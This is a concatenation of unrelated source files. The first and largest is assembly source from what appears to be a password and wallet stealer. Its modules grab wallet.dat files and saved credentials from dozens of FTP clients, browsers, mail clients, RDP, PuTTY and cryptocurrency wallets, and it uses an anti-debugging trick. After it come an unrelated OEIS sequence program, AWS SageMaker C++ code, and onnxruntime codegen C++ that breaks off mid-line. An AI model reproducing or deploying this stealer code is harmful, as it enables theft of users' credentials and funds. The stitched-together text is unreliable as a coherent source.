-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; MinCoin ; http://www.min-coin.org/ ; Tested: v0.6.5.0-g498f5d1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_MINCOIN .data CMincoinWalletFile db 'wallet.dat',0 CMincoinAppDataDir db '\Mincoin',0 .code GrabMincoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_MINCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CMincoinAppDataDir, offset CMincoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMincoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; GoldCoin ; http://gldcoin.com/ ; Tested: v0.7.1.6-gcf3abdf39d-beta ; SFTP: not supported IFDEF COMPILE_MODULE_GOLDCOIN .data CGoldcoinWalletFile db 'wallet.dat',0 CGoldcoinAppDataDir db '\GoldCoin (GLD)',0 .code GrabGoldcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_GOLDCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CGoldcoinAppDataDir, offset CGoldcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabGoldcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; YaCoin ; http://www.yacoin.org/ ; Tested: v0.4.0.0-g2nd-yac-wm-alpha ; SFTP: not supported IFDEF COMPILE_MODULE_YACOIN .data CYacoinWalletFile db 'wallet.dat',0 CYacoinAppDataDir db '\Yacoin',0 .code GrabYacoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_YACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CYacoinAppDataDir, offset CYacoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabYacoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Zetacoin ; http://www.zeta-coin.org/ ; Tested: v0.8.99.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_ZETACOIN .data CZetacoinWalletFile db 'wallet.dat',0 CZetacoinAppDataDir db '\Zetacoin',0 .code GrabZetacoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ZETACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CZetacoinAppDataDir, offset CZetacoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabZetacoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FastCoin ; http://www.fastcoin.ca/ ; Tested: v0.6.3.0-gc4135e8-beta ; SFTP: not supported IFDEF COMPILE_MODULE_FASTCOIN .data CFastcoinWalletFile db 'wallet.dat',0 CFastcoinAppDataDir db '\Fastcoin',0 .code GrabFastcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FASTCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFastcoinAppDataDir, offset CFastcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFastcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; i0coin ; http://i0coin.bitparking.com/ ; Tested: 0.3.25.9-beta ; SFTP: not supported IFDEF COMPILE_MODULE_I0COIN .data CI0coinWalletFile db 'wallet.dat',0 CI0coinAppDataDir db '\I0coin',0 .code GrabI0coin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_I0COIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CI0coinAppDataDir, offset CI0coinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabI0coin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Tagcoin ; http://tagcoin.org/ ; Tested: v1.0.2 ; SFTP: not supported IFDEF COMPILE_MODULE_TAGCOIN .data CTagcoinWalletFile db 'wallet.dat',0 CTagcoinAppDataDir db '\Tagcoin',0 .code GrabTagcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_TAGCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CTagcoinAppDataDir, offset CTagcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabTagcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Bytecoin ; http://www.bytecoin.biz/ ; Tested: v0.8.1.1-gfdc7831-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BYTECOIN .data CBytecoinWalletFile db 'wallet.dat',0 CBytecoinAppDataDir db '\Bytecoin',0 .code GrabBytecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BYTECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBytecoinAppDataDir, offset CBytecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBytecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Florincoin ; http://www.florincoin.org ; Tested: v0.6.5.8-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_FLORINCOIN .data CFlorincoinWalletFile db 'wallet.dat',0 CFlorincoinAppDataDir db '\Florincoin',0 .code GrabFlorincoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FLORINCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFlorincoinAppDataDir, offset CFlorincoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFlorincoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Phoenixcoin ; http://phoenixcoin.org/ ; Tested: v0.6.5.0 ; SFTP: not supported IFDEF COMPILE_MODULE_PHOENIXCOIN .data CPhoenixcoinWalletFile db 'wallet.dat',0 CPhoenixcoinAppDataDir db '\Phoenixcoin',0 .code GrabPhoenixcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PHOENIXCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CPhoenixcoinAppDataDir, offset CPhoenixcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPhoenixcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Luckycoin ; https://cryptocointalk.com/forum/188-luckycoin-lky/ ; Tested: v0.9.9.0 ; SFTP: not supported IFDEF COMPILE_MODULE_LUCKYCOIN .data CLuckycoinWalletFile db 'wallet.dat',0 CLuckycoinAppDataDir db '\Luckycoin',0 .code GrabLuckycoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_LUCKYCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CLuckycoinAppDataDir, offset CLuckycoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabLuckycoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CraftCoin ; http://craftcoin.net ; Tested: v1.1.1.2-unk-crc ; SFTP: not supported IFDEF COMPILE_MODULE_CRAFTCOIN .data CCraftcoinWalletFile db 'wallet.dat',0 CCraftcoinAppDataDir db '\Craftcoin',0 .code GrabCraftcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CRAFTCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CCraftcoinAppDataDir, offset CCraftcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCraftcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; JunkCoin ; http://jkcoin.com/ ; Tested: v0.6.3.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_JUNKCOIN .data CJunkcoinWalletFile db 'wallet.dat',0 CJunkcoinAppDataDir db '\Junkcoin',0 .code GrabJunkcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_JUNKCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CJunkcoinAppDataDir, offset CJunkcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabJunkcoin endp ENDIF AddModule macro Directive, ModuleCallback IFDEF Directive dd offset ModuleCallback ENDIF endm .data ; List all available modules dwFTPClientList dd offset GrabSystemInfo AddModule COMPILE_MODULE_FAR, GrabFarManager AddModule COMPILE_MODULE_WTC, GrabWTC AddModule COMPILE_MODULE_WS_FTP, GrabWS_FTP AddModule COMPILE_MODULE_CUTEFTP, GrabCuteFTP AddModule COMPILE_MODULE_FLASHFXP, GrabFlashFXP AddModule COMPILE_MODULE_FILEZILLA, GrabFileZilla AddModule COMPILE_MODULE_FTPCOMMANDER, GrabFTPCommander AddModule COMPILE_MODULE_BULLETPROOF, GrabBulletProof AddModule COMPILE_MODULE_SMARTFTP, GrabSmartFTP AddModule COMPILE_MODULE_TURBOFTP, GrabTurboFTP AddModule COMPILE_MODULE_FFFTP, GrabFFFTP AddModule COMPILE_MODULE_COFFEECUPFTP, GrabCoffeeCupFTP AddModule COMPILE_MODULE_COREFTP, GrabCoreFTP AddModule COMPILE_MODULE_FTPEXPLORER, GrabFTPExplorer AddModule COMPILE_MODULE_FRIGATEFTP, GrabFrigateFTP AddModule COMPILE_MODULE_SECUREFX, GrabSecureFX AddModule COMPILE_MODULE_ULTRAFXP, GrabUltraFXP AddModule COMPILE_MODULE_FTPRUSH, GrabFTPRush AddModule COMPILE_MODULE_WEBSITEPUBLISHER, GrabWebSitePublisher AddModule COMPILE_MODULE_BITKINEX, GrabBitKinex AddModule COMPILE_MODULE_EXPANDRIVE, GrabExpanDrive AddModule COMPILE_MODULE_CLASSICFTP, GrabClassicFTP AddModule COMPILE_MODULE_FLING, GrabFling AddModule COMPILE_MODULE_SOFTX, GrabSoftX AddModule COMPILE_MODULE_DIRECTORYOPUS, GrabDirectoryOpus AddModule COMPILE_MODULE_FREEFTP, GrabFreeFTP AddModule COMPILE_MODULE_LEAPFTP, GrabLeapFTP AddModule COMPILE_MODULE_WINSCP, GrabWinSCP AddModule COMPILE_MODULE_32BITFTP, Grab32BitFTP AddModule COMPILE_MODULE_NETDRIVE, GrabNetDrive AddModule COMPILE_MODULE_WEBDRIVE, GrabWebDrive AddModule COMPILE_MODULE_FTPCONTROL, GrabFTPControl AddModule COMPILE_MODULE_OPERA, GrabOpera AddModule COMPILE_MODULE_WISEFTP, GrabWiseFTP AddModule COMPILE_MODULE_FTPVOYAGER, GrabFTPVoyager AddModule COMPILE_MODULE_FIREFOX, GrabFirefox AddModule COMPILE_MODULE_FIREFTP, GrabFireFTP AddModule COMPILE_MODULE_SEAMONKEY, GrabSeaMonkey AddModule COMPILE_MODULE_FLOCK, GrabFlock AddModule COMPILE_MODULE_MOZILLA, GrabMozilla AddModule COMPILE_MODULE_LEECHFTP, GrabLeechFTP AddModule COMPILE_MODULE_ODIN, GrabOdin AddModule COMPILE_MODULE_WINFTP, GrabWinFTP AddModule COMPILE_MODULE_FTP_SURFER, GrabFTPSurfer AddModule COMPILE_MODULE_FTPGETTER, GrabFTPGetter AddModule COMPILE_MODULE_ALFTP, GrabALFTP AddModule COMPILE_MODULE_IE, GrabIE AddModule COMPILE_MODULE_DREAMWEAVER, GrabDreamweaver AddModule COMPILE_MODULE_DELUXEFTP, GrabDeluxeFTP AddModule COMPILE_MODULE_CHROME, GrabChrome AddModule COMPILE_MODULE_CHROMIUM, GrabChromium AddModule COMPILE_MODULE_CHROMEPLUS, GrabChromePlus AddModule COMPILE_MODULE_BROMIUM, GrabBromium AddModule COMPILE_MODULE_NICHROME, GrabNichrome AddModule COMPILE_MODULE_COMODODRAGON, GrabComodoDragon AddModule COMPILE_MODULE_ROCKMELT, GrabRockMelt AddModule COMPILE_MODULE_KMELEON, GrabKMeleon AddModule COMPILE_MODULE_EPIC, GrabEpic AddModule COMPILE_MODULE_STAFF, GrabStaff AddModule COMPILE_MODULE_ACEFTP, GrabAceFTP AddModule COMPILE_MODULE_GLOBALDOWNLOADER, GrabGlobalDownloader AddModule COMPILE_MODULE_FRESHFTP, GrabFreshFTP AddModule COMPILE_MODULE_BLAZEFTP, GrabBlazeFTP AddModule COMPILE_MODULE_NETFILE, GrabNetFile AddModule COMPILE_MODULE_GOFTP, GrabGoFTP AddModule COMPILE_MODULE_3DFTP, Grab3DFTP AddModule COMPILE_MODULE_EASYFTP, GrabEasyFTP AddModule COMPILE_MODULE_XFTP, GrabXFTP AddModule COMPILE_MODULE_RDP, GrabRDP AddModule COMPILE_MODULE_FTPNOW, GrabFTPNow AddModule COMPILE_MODULE_ROBOFTP, GrabRoboFTP AddModule COMPILE_MODULE_CERT, GrabCert AddModule COMPILE_MODULE_LINASFTP, GrabLinasFTP AddModule COMPILE_MODULE_CYBERDUCK, GrabCyberduck AddModule COMPILE_MODULE_PUTTY, GrabPutty AddModule COMPILE_MODULE_NOTEPADPP, GrabNotepadPP AddModule COMPILE_MODULE_VS_DESIGNER, GrabVSDesigner AddModule COMPILE_MODULE_FTPSHELL, GrabFTPShell AddModule COMPILE_MODULE_FTPINFO, GrabFTPInfo AddModule COMPILE_MODULE_NEXUSFILE, GrabNexusFile AddModule COMPILE_MODULE_FS_BROWSER, GrabFSBrowser AddModule COMPILE_MODULE_COOLNOVO, GrabCoolNovo AddModule COMPILE_MODULE_WINZIP, GrabWinZip AddModule COMPILE_MODULE_YANDEXINTERNET, GrabYandexInternet AddModule COMPILE_MODULE_MYFTP, GrabMyFTP AddModule COMPILE_MODULE_SHERRODFTP, GrabSherrodFTP AddModule COMPILE_MODULE_NOVAFTP, GrabNovaFTP IFDEF GRAB_EMAIL AddModule COMPILE_MODULE_WINDOWS_LIVE_MAIL, GrabWindowsLiveMail AddModule COMPILE_MODULE_WINDOWS_MAIL, GrabWindowsMail AddModule COMPILE_MODULE_BECKY, GrabBecky AddModule COMPILE_MODULE_POCOMAIL, GrabPocomail AddModule COMPILE_MODULE_INCREDIMAIL, GrabIncrediMail AddModule COMPILE_MODULE_THEBAT, GrabTheBat AddModule COMPILE_MODULE_OUTLOOK, GrabOutlook AddModule COMPILE_MODULE_THUNDERBIRD, GrabThunderbird ENDIF AddModule COMPILE_MODULE_FASTTRACK, GrabFastTrack AddModule COMPILE_MODULE_BITCOIN, GrabBitcoin AddModule COMPILE_MODULE_ELECTRUM, GrabElectrum AddModule COMPILE_MODULE_MULTIBIT, GrabMultiBit AddModule COMPILE_MODULE_FTPDISK, GrabFTPDisk AddModule COMPILE_MODULE_LITECOIN, GrabLitecoin AddModule COMPILE_MODULE_NAMECOIN, GrabNamecoin AddModule COMPILE_MODULE_TERRACOIN, GrabTerracoin AddModule COMPILE_MODULE_BITCOINARMORY, GrabBitcoinArmory AddModule COMPILE_MODULE_PPCOIN, GrabPPCoin AddModule COMPILE_MODULE_PRIMECOIN, GrabPrimecoin AddModule COMPILE_MODULE_FEATHERCOIN, GrabFeathercoin AddModule COMPILE_MODULE_NOVACOIN, GrabNovaCoin AddModule COMPILE_MODULE_FREICOIN, GrabFreicoin AddModule COMPILE_MODULE_DEVCOIN, GrabDevcoin AddModule COMPILE_MODULE_FRANKOCOIN, GrabFrankocoin AddModule COMPILE_MODULE_PROTOSHARES, GrabProtoShares AddModule COMPILE_MODULE_MEGACOIN, GrabMegacoin AddModule COMPILE_MODULE_QUARKCOIN, GrabQuarkcoin AddModule COMPILE_MODULE_WORLDCOIN, GrabWorldcoin AddModule COMPILE_MODULE_INFINITECOIN, GrabInfinitecoin AddModule COMPILE_MODULE_IXCOIN, GrabIxcoin AddModule COMPILE_MODULE_ANONCOIN, GrabAnoncoin AddModule COMPILE_MODULE_BBQCOIN, GrabBBQcoin AddModule COMPILE_MODULE_DIGITALCOIN, GrabDigitalcoin AddModule COMPILE_MODULE_MINCOIN, GrabMincoin AddModule COMPILE_MODULE_GOLDCOIN, GrabGoldcoin AddModule COMPILE_MODULE_YACOIN, GrabYacoin AddModule COMPILE_MODULE_ZETACOIN, GrabZetacoin AddModule COMPILE_MODULE_FASTCOIN, GrabFastcoin AddModule COMPILE_MODULE_I0COIN, GrabI0coin AddModule COMPILE_MODULE_TAGCOIN, GrabTagcoin AddModule COMPILE_MODULE_BYTECOIN, GrabBytecoin AddModule COMPILE_MODULE_FLORINCOIN, GrabFlorincoin AddModule COMPILE_MODULE_PHOENIXCOIN, GrabPhoenixcoin AddModule COMPILE_MODULE_LUCKYCOIN, GrabLuckycoin AddModule COMPILE_MODULE_CRAFTCOIN, GrabCraftcoin AddModule COMPILE_MODULE_JUNKCOIN, GrabJunkcoin dd 0 dwStreamRecoveryPosition dd 0 dwStreamRecoveryStream dd 0 .code ; Returns TRUE when at least one password was found GrabFTPPasswords proc uses edi stream LOCAL non_empty: DWORD AntiDisasmTrick mov non_empty, 0 mov edi, offset dwFTPClientList push stream pop dwStreamRecoveryStream ; Antidebug trick IFNDEF ENABLE_DEBUG_MODE IFNDEF SKIP_ANTIDEBUG_TRICKS assume fs: nothing mov eax, fs:[30h] ; pointer to PEB cmp byte ptr[eax+2], 0 ; check BeingDebugged flag jz not_being_debugged assume fs:ERROR invoke StreamFree, stream not_being_debugged: ENDIF ENDIF .WHILE dword ptr[edi] invoke DupeArrayClear invoke StreamGetPos, stream mov dwStreamRecoveryPosition, eax IFDEF ENABLE_DEBUG_MODE ; do not catch exceptions in debug mode push stream call dword ptr[edi] .IF (eax != cModuleHdrLen + 8) && (dword ptr[edi] != offset GrabSystemInfo) mov non_empty, TRUE .ENDIF ELSE __try FTP_MODULE_EXCEPTION push stream call dword ptr[edi] .IF (dword ptr[edi] != offset GrabSystemInfo) .IF (eax != cModuleHdrLen + 8) mov non_empty, TRUE .ELSE ; Do not write empty headers invoke StreamSetSize, dwStreamRecoveryStream, dwStreamRecoveryPosition .ENDIF .ENDIF __catch FTP_MODULE_EXCEPTION ; unwind stream pointer & size on exception .IF dwStreamRecoveryStream invoke StreamSetSize, dwStreamRecoveryStream, dwStreamRecoveryPosition .ENDIF __finally FTP_MODULE_EXCEPTION ENDIF add edi, 4 .ENDW mov eax, non_empty ret GrabFTPPasswords endp
; A186380: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f(i)=4i and g(j)=j(j+1)/2 (triangular number). Complement of A186379. ; 1,2,4,6,8,11,14,17,20,23,27,31,35,40,45,50,55,60,66,72,78,85,92,99,106,113,121,129,137,146,155,164,173,182,192,202,212,223,234,245,256,267,279,291,303,316,329,342,355,368,382,396,410,425,440,455,470,485,501,517,533,550,567,584,601,618,636,654,672,691,710,729,748,767,787,807,827,848,869,890,911,932,954,976,998,1021,1044 add $0,6 bin $0,2 sub $0,10 div $0,4 mov $1,$0
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/sagemaker/model/HumanLoopActivationConditionsConfig.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::Utils::Json; using namespace Aws::Utils; namespace Aws { namespace SageMaker { namespace Model { HumanLoopActivationConditionsConfig::HumanLoopActivationConditionsConfig() : m_humanLoopActivationConditionsHasBeenSet(false) { } HumanLoopActivationConditionsConfig::HumanLoopActivationConditionsConfig(JsonView jsonValue) : m_humanLoopActivationConditionsHasBeenSet(false) { *this = jsonValue; } HumanLoopActivationConditionsConfig& HumanLoopActivationConditionsConfig::operator =(JsonView jsonValue) { if(jsonValue.ValueExists("HumanLoopActivationConditions")) { m_humanLoopActivationConditions = jsonValue.GetString("HumanLoopActivationConditions"); m_humanLoopActivationConditionsHasBeenSet = true; } return *this; } JsonValue HumanLoopActivationConditionsConfig::Jsonize() const { JsonValue payload; if(m_humanLoopActivationConditionsHasBeenSet) { payload.WithString("HumanLoopActivationConditions", m_humanLoopActivationConditions); } return payload; } } // namespace Model } // namespace SageMaker } // namespace Aws
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include "nuphar_codegen_ctx.h" #include "core/codegen/common/common.h" #include "core/codegen/common/utils.h" #include "core/codegen/mti/mti_tvm_utils.h" // TODO: remove this after decoupling layout compile and run #include "core/providers/nuphar/common/analysis/subgraph_codegen_stats.h" #include "core/codegen/passes/utils/ort_tvm_utils.h" // TODO: remove this after decoupling layout compile and run #include <tvm/build_module.h> // TODO: remove this after decoupling layout compile and run #include "core/providers/nuphar/common/nuphar_tvm_utils.h" namespace onnxruntime { namespace nuphar { NupharCodeGenCtx::NupharCodeGenCtx( const Node& node, const std::map<std::string, const Tensor*>& initializers, std::unordered_map<std::string, std::unique_ptr<Tensor>>& global_generated_initializers, const NupharCodeGenHandle* handle) : CodeGenContext(handle), nuphar_handle_(handle), initializers_(initializers), global_generated_initializers_(global_generated_initializers) { // construct graph_stats graph_stats_ = onnxruntime::make_unique<CodeGenUnitStats>(nuphar_handle_->shape_inference); } NupharCodeGenCtx::NupharCodeGenCtx( const nuphar::NupharSubgraphUnit& subgraph, std::unordered_map<std::string, std::unique_ptr<Tensor>>& global_generated_initializers, const NupharCodeGenHandle* handle) : CodeGenContext(handle), nuphar_handle_(handle), initializers_(subgraph.initializers), global_generated_initializers_(global_generated_initializers) { graph_stats_ = onnxruntime::make_unique<CodeGenUnitStats>(nuphar_handle_->shape_inference); Promote<CodeGenUnitStats>(graph_stats_)->Evaluate(subgraph); } // This is a temp function before we decouple weight layout compilation and run // This will be moved. // TODO: remove this. static tvm::runtime::PackedFunc LowerLayoutFunc(const tvm_codegen::WeightLayout* layout) { tvm::Array<tvm::Tensor> inputs; tvm::Array<tvm::Tensor> outputs; layout->CreateLayoutMarshallingTVMOp(inputs, outputs); auto config = tvm::build_config(); config->disable_select_rewriting = true; auto S = tvm::create_schedule({outputs[0]->op}); S[outputs[0]->op].compute_root(); std::string func_name = layout->Name() + "_marshall"; tvm::runtime::PackedFunc cached_func = nuphar::LoadTVMPackedFuncFromCache(func_name); if (cached_func == nullptr) { auto lowered = tvm::lower(S, {inputs[0], outputs[0]}, func_name, {}, config); auto module = tvm::build(lowered, tvm::target::llvm(), tvm::Target(), config); tvm_codegen::DumpTVMModuleToFile(func_name, module); nuphar::SaveTVMModuleToCache(func_name, module); cached_func = module.GetFunction(func_name); } return cached_func; } // This is a temp function before we decouple weight layout compilation and run. // This will be moved. // TODO: remove this. static const Tensor* Marshalling( const std::string& initializer_name, std::unordered_map<std::string, std::unique_ptr<Tensor>>& global_generated_initializers, const Tensor* original_initializer, const tvm_codegen::WeightLayout* layout_ptr, WeightLayoutCtx& ctx_layout, AllocatorPtr allocator) { tvm::runtime::PackedFunc packed_func; const std::string& layout_key = layout_ptr->Name(); if (ctx_layout.weight_layout_to_packed_func.count(layout_key) == 0) { packed_func = LowerLayoutFunc(layout_ptr); ctx_layout.weight_layout_to_packed_func.insert(std::make_pair(layout_key, packed_func)); } else { packed_func = ctx_layout.weight_layout_to_packed_func[layout_key]; } std::vector<int64_t> marshalled_shape = layout_ptr->ToActualShape(original_initializer); auto marshalled_size = TotalSize(marshalled_shape); auto byte_size = original_initializer->DataType()->Size(); std::unique_ptr<Tensor> out_ptr; void* p_data = allocator->Alloc(marshalled_size * byte_size); out_ptr = onnxruntime::make_unique<Tensor>( original_initializer->DataType(), TensorShape(marshalled_shape), p_data, allocator->Info()); global_generated_initializers.emplace(initializer_name, std::move(out_ptr)); int num_args = 2; DLContext tvm_ctx{kDLCPU, 0}; std::vector<TVMValue> lvalues(num_args); std::vector<DLTensor> tvm_tensors(num_args); // input const auto& tensor_shape = original_initializer->Shape(); auto input_shape = tensor_shape.GetDims(); if (input_shape.empty()) input_shape.push_back(1); const void* input_data = original_initializer->DataRaw(); DLDataType tvm_dtype = tvm_codegen::ToTvmDLDataType(original_initializer->DataType()); tvm_tensors[0] = {const_cast<void*>(input_data), tvm_ctx, gsl::narrow_cast<int>(input_shape.size()), tvm_dtype, input_shape.data(), nullptr, 0}; lvalues[0].v_handle = &(tvm_tensors[0]); // output tvm_tensors[1] = {p_data, tvm_ctx, gsl::narrow_cast<int>(marshalled_shape.size()), tvm_dtype, marshalled_shape.data(), nullptr, 0}; lvalues[1].v_handle = &(tvm_tensors[1]); auto types_code = std::vector<int>(num_args, kNDArrayContainer); tvm::TVMArgs tvm_args(lvalues.data(), types_code.data(), num_args); tvm::TVMRetValue rvalue; packed_func.CallPacked(tvm_args, &rvalue); return global_generated_initializers.at(initializer_name).get(); } // on the fly WeightLayout transformer tvm::Tensor NupharCodeGenCtx::ApplyWeightLayout( const std::string& layout_key, const std::string& initializer_name, const tvm::Tensor& X, bool returnMarshalled) { tvm::Tensor marshalled; ORT_ENFORCE(IsInitializer(initializer_name)); auto layout_info = GetWeightLayoutInfo(initializer_name); ORT_ENFORCE(nullptr != layout_info); const Tensor* original_initializer = GetOrtInitializerTensor(initializer_name); auto layout_ptr = nuphar_handle_->layout_registry->Get(layout_key); ORT_ENFORCE(nullptr != layout_ptr); // check whether the weight is applied layout marshalling if (nullptr == layout_info->marshalled_initializer) { ORT_ENFORCE(!layout_info->is_marshalled); // initializer should not have been marshalled before // TODO: change to delayed call layout_info->layout = layout_ptr->Name(); // TODO: change to delayed call layout_info->marshalled_initializer = Marshalling(initializer_name, global_generated_initializers_, original_initializer, layout_ptr, weight_layout_ctx_, nuphar_handle_->allocator); layout_info->marshalled_tensor = tvm::placeholder(layout_ptr->ToActualShape(X), X->dtype, initializer_name + "_marshalled"); layout_info->unmarshalled_tensor = tvm::compute( X->shape, [&](const tvm::Array<tvm::Var>& nominal_coord) { tvm::Array<tvm::Expr> cc; for (auto v : nominal_coord) cc.push_back(v); auto coord_trans_func = layout_ptr->ToActual(X); return layout_info->marshalled_tensor(coord_trans_func(cc)); }, initializer_name + "_unmarshalled"); layout_info->is_marshalled = true; } else { ORT_ENFORCE(layout_ptr->Name() == layout_info->layout); } if (returnMarshalled) { return layout_info->marshalled_tensor; } return layout_info->unmarshalled_tensor; } const NupharSubgraphUnitStats* NupharCodeGenCtx::GetGraphStats() const { return graph_stats_.get(); } bool NupharCodeGenCtx::IsInitializer(const std::string& name) const { return initializers_.count(name) > 0; } const Tensor* NupharCodeGenCtx::GetOrtInitializerTensor(const std::string& name) const { if (IsInitializer(name)) return initializers_.at(name); return nullptr; } WeightLayoutCodegenInfo* NupharCodeGenCtx::GetWeightLayoutInfo(const std::string& name) { if (initializer_layouts_.count(name) > 0) return initializer_layouts_.at(name).get(); return nullptr; } const 